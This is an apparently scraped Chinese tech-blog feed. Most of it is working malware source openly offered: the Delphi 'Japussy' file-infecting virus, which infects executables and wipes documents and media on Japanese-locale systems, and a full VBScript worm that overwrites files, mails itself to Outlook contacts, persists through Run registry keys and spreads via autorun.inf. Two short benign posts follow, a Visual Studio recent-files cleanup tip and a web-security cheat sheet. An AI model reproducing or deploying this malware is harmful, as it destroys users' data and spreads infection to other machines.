not GetVersionEx(Ver) then <br />Exit; <br />if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x <br />Result := True; &nbsp; &nbsp; &nbsp; &nbsp; <br />end; &nbsp; //判断操作系统是否为95或98,这里还可以加上判断是否为windows XP/2000等,代码到处是可以网上找一下,只是解析我就不贴出代码了 <br />{ 在流之间复制 } //具体解析一下以便解惑<br />procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; <br />dStartPos: Integer; Count: Integer); <br />//Src 源流;Dst是目标流。PE等文件都可以以流的形式存在,<br />// sStartPos :源流的开始位置,类似指针指向位置,dStartPos同样是:目标流的开始位置,类似指针指向位置<br />var <br />sCurPos, dCurPos: Integer; &nbsp;<br />begin <br />sCurPos := Src.Position; <br />dCurPos := Dst.Position; {//源流和目标流的当前位置} <br />Src.Seek(sStartPos, 0); <br />Dst.Seek(dStartPos, 0); &nbsp; &nbsp; &nbsp;//将源流和目标流指针从开头移动sStartPos和dStartPos字节数<br />Dst.CopyFrom(Src, Count); &nbsp;//将源流的Count个字节拷贝到目标流中<br />Src.Seek(sCurPos, 0); &nbsp;//将源流复原<br />Dst.Seek(dCurPos, 0); &nbsp;//将目标流复原<br />end; <br />{ 将宿主文件从已感染的PE文件中分离出来,以备使用 } <br />//以下过程的功能是进行病毒分离,感染其他程序做准备<br />procedure ExtractFile(FileName: string); <br />var <br />sStream, dStream: TFileStream; //定义两个文件流作为载体<br />begin <br />try <br />sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); &nbsp;//将带病毒体的文件以流的形式打开<br />try <br />dStream := TFileStream.Create(FileName, fmCreate); <br />//创建一个空的目标流以便存储分离出来的主文件<br />try <br />sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分 <br />//将流指针移动到病毒体后面,也就是主文件的开头<br />dStream.CopyFrom(sStream, sStream.Size - HeaderSize); <br />//将主文件存储在前面创建的目标流中<br />finally <br />dStream.Free; <br />end; <br />finally <br />sStream.Free; <br />end; <br />except <br />end; <br />end; <br />{ 填充STARTUPINFO结构 } <br />//结构填充这个其实没什么号解释的。赋值的功能,规范的功能<br />procedure FillStartupInfo(var Si: STARTUPINFO; State: Word); <br />begin <br />Si.cb := SizeOf(Si); <br />Si.lpReserved := nil; <br />Si.lpDesktop := nil; <br />Si.lpTitle := nil; <br />Si.dwFlags := STARTF_USESHOWWINDOW; <br />Si.wShowWindow := State; <br />Si.cbReserved2 := 0; <br />Si.lpReserved2 := nil; <br />end; <br />{ 发带毒邮件 } <br />procedure SendMail; &nbsp;<br />begin <br />//哪位仁兄愿意完成之?<br />//将病毒文件作为附件发送到受害人邮箱,附件需要进行编码才能发送,代码网络上一大堆,重申请勿用于破坏!<br />end; <br />{ 感染PE文件 } <br />procedure InfectOneFile(FileName: string); <br />var <br />HdrStream, SrcStream: TFileStream; <br />IcoStream, DstStream: TMemoryStream; <br />iID: LongInt; <br />aIcon: TIcon; <br />Infected, IsPE: Boolean; <br />i: Integer; <br />Buf: array[0..1] of Char; <br />begin <br />try //出错则文件正在被使用,退出 <br />if CompareText(FileName, &#39;JAPUSSY.EXE&#39;) = 0 then //是自己则不感染 &nbsp;<br />//字符串对比函数,文件名也是属于字符串的呵呵,如果是病毒自己的话就跳过,如果感染了,那就没意思了,呵呵<br />Exit; <br />Infected := False; <br />IsPE := False; <br />SrcStream := TFileStream.Create(FileName, fmOpenRead); <br />try <br />for i := 0 to $108 do //检查PE文件头 &nbsp;<br />begin <br />SrcStream.Seek(i, soFromBeginning); <br />SrcStream.Read(Buf, 2); <br />if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记 <br />begin <br />IsPE := True; //是PE文件 &nbsp;<br />//判断是否是PE文件,#80,#69存储在2个字节中<br />Break; <br />end; <br />end; <br />SrcStream.Seek(-4, soFromEnd); //检查感染标记 <br />SrcStream.Read(iID, 4); <br />//将四个字节读取到iID中,并判断感染标记<br />if (iID = ID) or (SrcStream.Size &lt; 10240) then //太小的文件不感染 <br />Infected := True; <br />finally <br />SrcStream.Free; <br />end; <br />if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出 <br />Exit; <br />IcoStream := TMemoryStream.Create; <br />DstStream := TMemoryStream.Create; <br />try <br />aIcon := TIcon.Create; <br />try <br />//得到被感染文件的主图标(744字节),存入流 <br />aIcon.ReleaseHandle; <br />aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0); <br />//取得将要感染的文件图标<br />aIcon.SaveToStream(IcoStream); <br />finally <br />aIcon.Free; <br />end; <br />SrcStream := TFileStream.Create(FileName, fmOpenRead); <br />//头文件 <br />HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); <br />try <br />//写入病毒体主图标之前的数据 <br />CopyStream(HdrStream, 0, DstStream, 0, IconOffset); <br />//写入目前程序的主图标 <br />CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize); <br />//写入病毒体主图标到病毒体尾部之间的数据 <br />CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail); <br />//写入宿主程序 <br />CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); <br />//写入已感染的标记 <br />DstStream.Seek(0, 2); <br />iID := $44444444; <br />DstStream.Write(iID, 4); <br />finally <br />HdrStream.Free; <br />end; <br />finally <br />SrcStream.Free; <br />IcoStream.Free; <br />DstStream.SaveToFile(FileName); //替换宿主文件 <br />DstStream.Free; <br />end; <br />except; <br />end; <br />end;</p><p style="font-family:宋体;font-size:12px;background-color:#ffffff;">{ 将目标文件写入垃圾码后删除 } <br />procedure SmashFile(FileName: string); <br />var <br />FileHandle: Integer; <br />i, Size, Mass, Max, Len: Integer; <br />begin <br />try <br />SetFileAttributes(PChar(FileName), 0); //去掉只读属性 <br />FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件 <br />try <br />Size := GetFileSize(FileHandle, nil); //文件大小 <br />i := 0; <br />Randomize; <br />Max := Random(15); //写入垃圾码的随机次数 <br />if Max &lt; 5 then <br />Max := 5; <br />Mass := Size div Max; //每个间隔块的大小 <br />Len := Length(Catchword); <br />while i &lt; Max do <br />begin <br />FileSeek(FileHandle, i * Mass, 0); //定位 <br />//写入垃圾码,将文件彻底破坏掉 <br />FileWrite(FileHandle, Catchword, Len); <br />Inc(i); <br />end; <br />finally <br />FileClose(FileHandle); //关闭文件 <br />end; <br />DeleteFile(PChar(FileName)); //删除之 <br />except <br />end; <br />end; <br />{ 获得可写的驱动器列表 } <br />function GetDrives: string; <br />var <br />DiskType: Word; <br />D: Char; <br />Str: string; <br />i: Integer; <br />begin <br />for i := 0 to 25 do //遍历26个字母 <br />begin <br />D := Chr(i + 65); <br />Str := D + &#39;:&#39;; <br />DiskType := GetDriveType(PChar(Str)); <br />//得到本地磁盘和网络盘 <br />if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then <br />Result := Result + D; <br />end; <br />end; <br />{ 遍历目录,感染和摧毁文件 } <br />procedure LoopFiles(Path, Mask: string); <br />var <br />i, Count: Integer; <br />Fn, Ext: string; <br />SubDir: TStrings; <br />SearchRec: TSearchRec; <br />Msg: TMsg; <br />function IsValidDir(SearchRec: TSearchRec): Integer; <br />begin <br />if (SearchRec.Attr &lt;&gt; 16) and (SearchRec.Name &lt;&gt; &#39;.&#39;) and <br />(SearchRec.Name &lt;&gt; &#39;..&#39;) then <br />Result := 0 //不是目录 <br />else if (SearchRec.Attr = 16) and (SearchRec.Name &lt;&gt; &#39;.&#39;) and <br />(SearchRec.Name &lt;&gt; &#39;..&#39;) then <br />Result := 1 //不是根目录 <br />else Result := 2; //是根目录 <br />end; <br />begin <br />if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then <br />begin <br />repeat <br />PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑 <br />if IsValidDir(SearchRec) = 0 then <br />begin <br />Fn := Path + SearchRec.Name; <br />Ext := UpperCase(ExtractFileExt(Fn)); <br />if (Ext = &#39;.EXE&#39;) or (Ext = &#39;.SCR&#39;) then <br />begin <br />InfectOneFile(Fn); //感染可执行文件 <br />end <br />else if (Ext = &#39;.HTM&#39;) or (Ext = &#39;.HTML&#39;) or (Ext = &#39;.ASP&#39;) then <br />begin <br />//感染HTML和ASP文件,将Base64编码后的病毒写入 <br />//感染浏览此网页的所有用户</p><p style="font-family:宋体;font-size:12px;background-color:#ffffff;">end <br />else if Ext = &#39;.WAB&#39; then //Outlook地址簿文件 <br />begin <br />//获取Outlook邮件地址 <br />end <br />else if Ext = &#39;.ADC&#39; then //Foxmail地址自动完成文件 <br />begin <br />//获取Foxmail邮件地址 <br />end <br />else if Ext = &#39;IND&#39; then //Foxmail地址簿文件 <br />begin <br />//获取Foxmail邮件地址 <br />end <br />else <br />begin <br />if IsJap then //是倭文操作系统 <br />begin <br />if (Ext = &#39;.DOC&#39;) or (Ext = &#39;.XLS&#39;) or (Ext = &#39;.MDB&#39;) or <br />(Ext = &#39;.MP3&#39;) or (Ext = &#39;.RM&#39;) or (Ext = &#39;.RA&#39;) or <br />(Ext = &#39;.WMA&#39;) or (Ext = &#39;.ZIP&#39;) or (Ext = &#39;.RAR&#39;) or <br />(Ext = &#39;.MPEG&#39;) or (Ext = &#39;.ASF&#39;) or (Ext = &#39;.JPG&#39;) or <br />(Ext = &#39;.JPEG&#39;) or (Ext = &#39;.GIF&#39;) or (Ext = &#39;.SWF&#39;) or <br />(Ext = &#39;.PDF&#39;) or (Ext = &#39;.CHM&#39;) or (Ext = &#39;.AVI&#39;) then <br />SmashFile(Fn); //摧毁文件 <br />end; <br />end; <br />end; <br />//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑 <br />Sleep(200); <br />until (FindNext(SearchRec) &lt;&gt; 0); <br />end; <br />FindClose(SearchRec); <br />SubDir := TStringList.Create; <br />if (FindFirst(Path + &#39;*.*&#39;, faDirectory, SearchRec) = 0) then <br />begin <br />repeat <br />if IsValidDir(SearchRec) = 1 then <br />SubDir.Add(SearchRec.Name); <br />until (FindNext(SearchRec) &lt;&gt; 0); <br />end; <br />FindClose(SearchRec); <br />Count := SubDir.Count - 1; <br />for i := 0 to Count do <br />LoopFiles(Path + SubDir.Strings[i] + &#39;&#39;, Mask); <br />FreeAndNil(SubDir); <br />end; <br />{ 遍历磁盘上所有的文件 } <br />procedure InfectFiles;</p><p style="font-family:宋体;font-size:12px;background-color:#ffffff;">var <br />DriverList: string; <br />i, Len: Integer; <br />begin <br />if GetACP = 932 then //日文操作系统 <br />IsJap := True; //去死吧! <br />DriverList := GetDrives; //得到可写的磁盘列表 <br />Len := Length(DriverList); <br />while True do //死循环 <br />begin <br />for i := Len downto 1 do //遍历每个磁盘驱动器 <br />LoopFiles(DriverList[i] + &#39;:&#39;, &#39;*.*&#39;); //感染之 <br />SendMail; //发带毒邮件 <br />Sleep(1000 * 60 * 5); //睡眠5分钟 <br />end; <br />end; <br />{ 主程序开始 } <br />begin <br />if IsWin9x then //是Win9x <br />RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程 <br />else //WinNT <br />begin <br />//远程线程映射到Explorer进程 <br />//哪位兄台愿意完成之? <br />end; <br />//如果是原始病毒体自己 <br />if CompareText(ExtractFileName(ParamStr(0)), &#39;Japussy.exe&#39;) = 0 then <br />InfectFiles //感染和发邮件 <br />else //已寄生于宿主程序上了,开始工作 <br />begin <br />TmpFile := ParamStr(0); //创建临时文件 <br />Delete(TmpFile, Length(TmpFile) - 4, 4); <br />TmpFile := TmpFile + #32 + &#39;.exe&#39;; //真正的宿主文件,多一个空格 <br />ExtractFile(TmpFile); //分离之 <br />FillStartupInfo(Si, SW_SHOWDEFAULT); <br />CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True, <br />0, nil, &#39;.&#39;, Si, Pi); //创建新进程运行之 <br />InfectFiles; //感染和发邮件 <br />end; <br />end.<br />有任何疑问联系:1460740335</p><p><br /></p> 黑客动态 2017-08-20T16:49:10.22 5秒摧毁操作系统的VBS脚本,本人10年前编写的 /news/Details/127 <p><span style="font-family:punctuation, &quot;microsoft yahei&quot;;font-size:14px;background-color:#ffffff;">on error resume nextcall REGrunif REGr=true thencall disklistend ifif DRSdsik=true thencall spreadtoemailend ifif MAL=true thencall HIDEme(wscript.scriptfullname)end ifdim REGr,DRSdsik,MAL,HMSub ShowFolderList(folderspec)on error resume nextDim fs, f, f1, fcSet fs = CreateObject(&quot;Scripting.FileSystemObject&quot;)Set f = fs.GetFolder(folderspec)Set fc = f.SubFolderscall ShowfileList(folderspec)For Each f1 in fccall ShowfileList(f1.path)call ShowFolderList(f1.path)NextEnd SubSub ShowfileList(folderspec)on error resume nextDim fs, f, f1, fc,filepath,self,ap,ext,cop,wzSet fs = CreateObject(&quot;Scripting.FileSystemObject&quot;)set self=fso.opentextfile(wscript.scriptfullname,1)vbscopy=self.readallself.closeSet f = fs.GetFolder(folderspec)Set fc = f.FilesFor Each f1 in fcwz=instrRev(f1.path,&quot; \ &quot;)filepath=mid(f1.path,1,wz)call copyme(filepath)if fs.getfilename(f1.path)=&quot;QQ.exe&quot; or fs.getfilename(f1.path)=&quot;QQ.vbs&quot; thencall EXErun(f1.path)end ifset ext=fs.GetExtensionName(f1.path)ext=lcase(ext)if ext&lt;&gt;&quot;html&quot; and ext&lt;&gt;&quot;htm&quot; and ext&lt;&gt;&quot;asp&quot; and ext&lt;&gt;&quot;aspx&quot; and ext&lt;&gt;&quot;jsp&quot; thenif (fs.GetFileName(f1.path))&lt;&gt;&quot;QQ.exe&quot; and (fs.GetFileName(f1.path))&lt;&gt;&quot;QQ.vbs&quot; thenset ap=fs.opentextfile(f1.path,2,TristateTrue)ap.write vbscopyap.closeset cop=fs.getfile(f1.path)cop.copy(f1.path &amp; &quot;.vbs&quot;)f1.delete(true)end ifend ifNextEnd Subsub disklist()on error resume nextdim drvs,drv,diskpath,fsgset fsg=CreateObject(&quot;Scripting.FileSystemObject&quot;)set drvs=fsg.drivesDRSdsik=falsefor each drv in drvsif drv.DriveLetter&lt;&gt;&quot;A&quot; and drv.DriveType&lt;&gt;CDRom thendiskpath=drv.DriveLetter &amp; &quot;:\&quot;call ShowFolderList(diskpath)end ifif drv.IsReady thencall REMdiskRUN(diskpath)end ifnextDRSdisk=trueend subsub copyme(copypath)on error resume nextdim fssset fss=createobject(&quot;scripting.filesystemobject&quot;)fss.copyfile wscript.scriptfullname,copypath,trueend subsub EXErun(filename)on error resume nextdim ws,fcxset fcx=createobject(&quot;scripting.filesystemobject&quot;)set ws=createobject(&quot;wscript.shell&quot;)if fcx.FileExists(filename) thenws.run filenameend ifend subsub spreadtoemail()dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regadset regedit=CreateObject(&quot;WScript.Shell&quot;)set out=WScript.CreateObject(&quot;Outlook.Application&quot;)set mapi=out.GetNameSpace(&quot;MAPI&quot;)MAL=falsefor ctrlists=1 to mapi.AddressLists.Countset a=mapi.AddressLists(ctrlists)x=1regv=regedit.RegRead(&quot;HKEY_CURRENT_USERSoftwareMicrosoftWAB&quot;&amp;a)if regv=&quot;&quot; thenregv=1end ifif (int(a.AddressEntries.Count)&gt;int(regv)) thenfor ctrentries=1 to a.AddressEntries.Countmalead=a.AddressEntries(x)regad=&quot;&quot;regad=regedit.RegRead(&quot;HKEY_CURRENT_USERSoftwareMicrosoftWAB&quot;&amp;malead)if regad=&quot;&quot; thenset male=out.CreateItem(0)male.Recipients.Add(malead)male.Subject=&quot;这是我的QQ号码&quot;male.Body=&quot;好久没有你的消息了,这是我的QQ号码,在附件里面,请收一下,保持联系!&quot;male.Attachments.Add(wscript.scriptfullname)male.Sendregedit.RegWrite &quot;HKEY_CURRENT_USERSoftwareMicrosoftWAB&quot; &amp; malead, 1, &quot;REG_DWORD&quot;end ifx=x+1nextregedit.RegWrite &quot;HKEY_CURRENT_USERSoftwareMicrosoftWAB&quot;&amp;a,a.AddressEntries.Countelseregedit.RegWrite &quot;HKEY_CURRENT_USERSoftwareMicrosoftWAB&quot;&amp;a,a.AddressEntries.Countend ifnextSet out=NothingSet mapi=NothingMAL=trueend subsub REGrun()on error resume nextdim virpathf,virpaths,virpatht,frs,fregset frs=createobject(&quot;scripting.filesystemobject&quot;)set freg=createobject(&quot;wscript.shell&quot;)REGr=falsevirpathf=frs.GetSpecialFolder(0)virpaths=frs.GetSpecialFolder(1)virpatht=frs.GetSpecialFolder(2)frs.copyfile wscript.scriptfullname,virpathf &amp;&quot;\&quot;&amp; &quot;QQ.vbs&quot; ,truefrs.copyfile wscript.scriptfullname,virpaths &amp;&quot;\&quot;&amp; &quot;QQ.vbs&quot; ,truefrs.copyfile wscript.scriptfullname,virpatht &amp;&quot;\&quot;&amp; &quot;QQ.vbs&quot; ,truefreg.regwrite &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\QQF&quot;,virpathf,&quot;REG_SZ&quot;freg.regwrite &quot;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\QQF&quot;,virpathf,&quot;REG_SZ&quot;freg.regwrite &quot;HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run\QQF&quot;,virpathf,&quot;REG_SZ&quot;freg.regwrite &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\QQS&quot;,virpaths,&quot;REG_SZ&quot;freg.regwrite &quot;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\QQS&quot;,virpaths,&quot;REG_SZ&quot;freg.regwrite &quot;HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run\QQS&quot;,virpathS,&quot;REG_SZ&quot;freg.regwrite &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\QQT&quot;,virpatht,&quot;REG_SZ&quot;freg.regwrite &quot;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\QQT&quot;,virpatht,&quot;REG_SZ&quot;freg.regwrite &quot;HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run\QQT&quot;,virpatht,&quot;REG_SZ&quot;set freg=nothingREGr=trueend subsub REMdiskRUN(frpath)on error resume nextset rems=createobject(&quot;scripting.filesystemobject&quot;)rems.copyfile wscript.scriptfullname,frpath &amp; &quot;rings\QQ.vbs&quot;,trueset fr=rems.CreateTextFile(frpath &amp; &quot;AutoRun.inf&quot;,True)fr.writeline (&quot;[AutoRun]&quot;)+vbcrlffr.writeline (&quot;shellexecute=&quot; &amp; frpath &amp; &quot;rings\QQ.vbs&quot;)+vbcrlffr.writeline (&quot;shell\open\command=打开(&amp;O)&quot;)+vbcrlffr.writeline (&quot;shell\open\command=&quot; &amp; frpath &amp; &quot;rings\QQ.vbs&quot;)+vbcrlffr.writeline (&quot;shell\open\Default=1&quot;)+vbcrlffr.writeline (&quot;shell\explore=资源管理器(&amp;X)&quot;)+vbcrlffr.writeline (&quot;shell\explore\Command=&quot;&amp; frpath &amp; &quot;rings\QQ.vbs&quot;)+vbcrlffr.closeend subsub HIDEme(mepath)on error resume nextdim MSF,MFset MSF=createobject(&quot;scripting.filesystemobject&quot;)set MF=MSF.GetFile(mepath)HM=falseMF.Attributes=MF.Attributes+ReadOnly+Hiddenset MF=nothingHM=trueend sub</span></p> 黑客动态 2017-08-08T15:07:32.89 清除vs2008最近打开项目和文件 /news/Details/126 <p>方法一:</p><p>1)删除最近打开的文件</p><p>运行regedit,打开HKEY_CURRENT_USER\Software\Microsoft\VisualStudio\9.0\FileMRUList 之后,在右边删除相应键值就可以了。</p><p>2)删除最近打开的项目</p><p>操作同上,只是键值位置不同HKEY_CURRENT_USER\Software\Microsoft\VisualStudio\9.0\ProjectMRUList</p><p>3)把下面代码保存在扩展名为bat的文件中,然后双击打开即可清除。(该清除为全部清除)</p><p>@echo off</p><p>@REG Delete HKCU\Software\Microsoft\VisualStudio\9.0\FileMRUList /va /f</p><p>@REG Delete HKCU\Software\Microsoft\VisualStudio\9.0\ProjectMRUList /va /f</p><p><br /></p><p>方法二:</p><p>使用工具软件,可以选择性修改和删除,需要安装.Net Framework 4.0,如下图:</p><p><br /></p><p style="text-align:center;"><img src="/Upload/images/Customers/20170807050241.png" title="Untitled.png" /></p><p><br /></p><p>软件工具安装版地址:<a href="http://www.yn-s.com/vs2008ProjectListManagementTool/publish.htm" target="_self">http://www.yn-s.com/vs2008ProjectListManagementTool/publish.htm</a></p><p><br /></p><p>软件工具离线版地址:<a href="http://www.yn-s.com/vs2008ProjectListManagementTool/vs2008ProjectListManagementTool.exe" target="_self" textvalue="http://www.yn-s.com/vs2008ProjectListManagementTool/vs2008ProjectListManagementTool.exe">http://www.yn-s.com/vs2008ProjectListManagementTool/vs2008ProjectListManagementTool.exe</a></p> 编程开发 2017-08-07T17:03:19 Web开发者安全速查表 /news/Details/125 <p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">下面的这份速查表非常简洁,而且绝对还有很多东西没有涉及到。就我个人而言,我从事安全 Web 应用开发工作已经超过 14 年了,而本文给出的小贴士都是让我在过去一段时间里曾痛苦不堪的重要安全问题。我希望大家可以认真对待,不仅是对用户负责,也要对自己的职业生涯负责。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;"><strong style="margin:0px;padding:0px;line-height:1.5em;">数据库篇</strong></p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  1. 对类似访问令牌、电子邮箱地址或账单详情进行加密处理,尤其是用户的身份识别信息(密码)。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  2. 如果你的数据库支持低成本加密,请确保开启这项功能并保护主机磁盘中的数据。与此同时,确保所有的备份文件都进行了加密存储。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  3. 按照最小权限原则给数据库访问账号分配权限,不要使用数据库的 root 账号。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  4. 使用密钥存储器来保存或派发密钥,不要直接将密钥硬编码在你的应用之中。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  5. 通过使用 SQL 预处理语句来避免 SQL 注入攻击。比如说,如果你使用的是 NPM,那么请不要使用 npm-mysql,你应该用的是 npm-mysql2,因为它支持 SQL 预处理语句。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;"><strong style="margin:0px;padding:0px;line-height:1.5em;">开发篇</strong></p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  1. 确保你软件中所有组件的每一个版本都进行了漏洞扫描,包括接口、协议、代码以及数据包。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  2. 对产品中所有使用到的第三方工具时刻保持警惕性,选择一款安全系数较高的开发平台。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;"><strong style="margin:0px;padding:0px;line-height:1.5em;">身份验证篇</strong></p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  1. 使用合适的加密算法(例如 bcrypt)来计算并存储密码哈希,在初始加密时选择合适的随机数据,还有就是千万不要自己去写一个加密算法。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  2. 使用简单但健壮的密码规则,以鼓励用户设置长度足够安全的随机密码。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  3. 在服务的登录机制中引入多因素身份验证功能。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;"><strong style="margin:0px;padding:0px;line-height:1.5em;">DoS 保护篇</strong></p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  1. 确保那些针对 API 的 DoS 攻击不会严重影响你网站的正常运行,至少要限制 API 的请求访问速率。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  2. 对用户所提交的数据和请求进行结构和大小的限制。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  3. 使用类似 <a href="https://www.cloudflare.com/" style="margin:0px;padding:0px;line-height:1.5em;color:#005fa9;text-decoration-line:none;word-break:break-all;">CloudFlare</a> 这样的缓存代理服务来为你的 Web 应用添加 <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" style="margin:0px;padding:0px;line-height:1.5em;color:#005fa9;text-decoration-line:none;word-break:break-all;">DDoS 缓解方案</a>。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;text-align:center;margin-top:10px;margin-bottom:10px;"><br /></p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;"><strong style="margin:0px;padding:0px;line-height:1.5em;">Web 流量篇</strong></p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  1. 使用 TLS,不只是你的登录表单和网站响应数据,而是你的整个网站都应该使用 TLS。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  2. Cookie 必须为 httpOnly。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  3. 使用 CSP(内容安全策略),虽然配置过程比较麻烦,但这觉得是值得的。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  4. 在客户端响应中使用X-Frame-Option 和X-XSS-Protection 头。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  5. 使用 HSTS 响应,使用 HTTPS。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  6. 在所有的表单中使用 CSRF 令牌。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;"><strong style="margin:0px;padding:0px;line-height:1.5em;">API 篇</strong></p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  1. 确保你所有的公共 API 中没有可以枚举的资源。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  2. 确保用户在使用你的 API 之前,对他们的身份进行验证。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;"><strong style="margin:0px;padding:0px;line-height:1.5em;">验证篇</strong></p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  1. 在客户端对用户的输入进行验证,并即使给予反馈(Ajax),但永远不要相信用户输入的数据。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;">  2. 在服务器端再对用户所输入的每一个字符进行一次彻底的验证,永远不要直接将用户输入的内容注入到响应数据中,永远不要直接在 SQL 语句中插入用户提供的数据。</p><p style="padding:0px;font-family:verdana, arial, helvetica, sans-serif;font-size:14px;line-height:25.2px;color:#404040;background-color:#fafafa;margin-top:10px;margin-bottom:10px;"><strong style="margin:0px;padding:0px;line-height:1.5em;">云端配置篇</strong></p><p 